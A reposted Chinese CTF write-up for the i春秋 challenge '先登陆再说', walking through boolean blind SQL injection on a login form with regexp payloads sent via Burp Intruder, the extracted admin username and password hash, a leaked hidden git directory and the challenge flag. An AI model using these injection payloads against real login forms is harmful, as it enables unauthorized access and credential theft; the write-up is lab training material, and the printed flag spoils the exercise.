IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发工具 -> i春秋-先登陆再说 tips1:隐藏文件?非php源代码 tips2:缓存--盲注爆字段-git泄露-flag{a491cf3a-1a4e-405c-980f-ed1dc7a963a6} -> 正文阅读

[开发工具]i春秋-先登陆再说 tips1:隐藏文件?非php源代码 tips2:缓存--盲注爆字段-git泄露-flag{a491cf3a-1a4e-405c-980f-ed1dc7a963a6}

在这里插入图片描述
用户名admin’ or ‘1’=’1 密码随便输

弹出密码错误

再试试admin’ or ‘1’=’2

弹出用户不存在

说明这里存在注入点,而且是盲注

构造payload:admin’ or user_n3me regexp ‘^a’%23 (使用java的正则表达式来进行盲注,用#的url编码%23来注释掉后面的内容,^表示匹配开始的位置,$表示匹配结束的位置) 密码随意在这里插入图片描述
利用intruder 进行爆破,(user_n3me和p3ss_w0rd很特别,猜测为当前数据库中的两个表格)
用户名爆破语句“

username=admin' or user_n3me regexp '^§a§'%23&password=1111	

密码爆破语句:

username=admin' or p3ss_w0rd regexp '^§a§'%23&password=1111

爆破出来用户名为bctf3dm1n, 密码2bfb1532857ddc0033fdae5bde3facdf
密码解密为:adminqwe123666

登录成功之后:存在 .bctfg1t 隐藏文件,
在这里插入图片描述在这里插入图片描述
flag.php.a17d89文件打开就是

<?php
echo '71ec9d5ca5580c58d1872962c596ea71.php';
//niubi 666
?>

flag{a491cf3a-1a4e-405c-980f-ed1dc7a963a6}

  开发工具 最新文章
Postman接口测试之Mock快速入门
ASCII码空格替换查表_最全ASCII码对照表0-2
如何使用 ssh 建立 socks 代理
Typora配合PicGo阿里云图床配置
SoapUI、Jmeter、Postman三种接口测试工具的
github用相对路径显示图片_GitHub 中 readm
Windows编译g2o及其g2o viewer
解决jupyter notebook无法连接/ jupyter连接
Git恢复到之前版本
VScode常用快捷键
上一篇文章      下一篇文章      查看所有文章
加:2021-10-19 12:05:49  更:2021-10-19 12:05:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/23 17:37:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计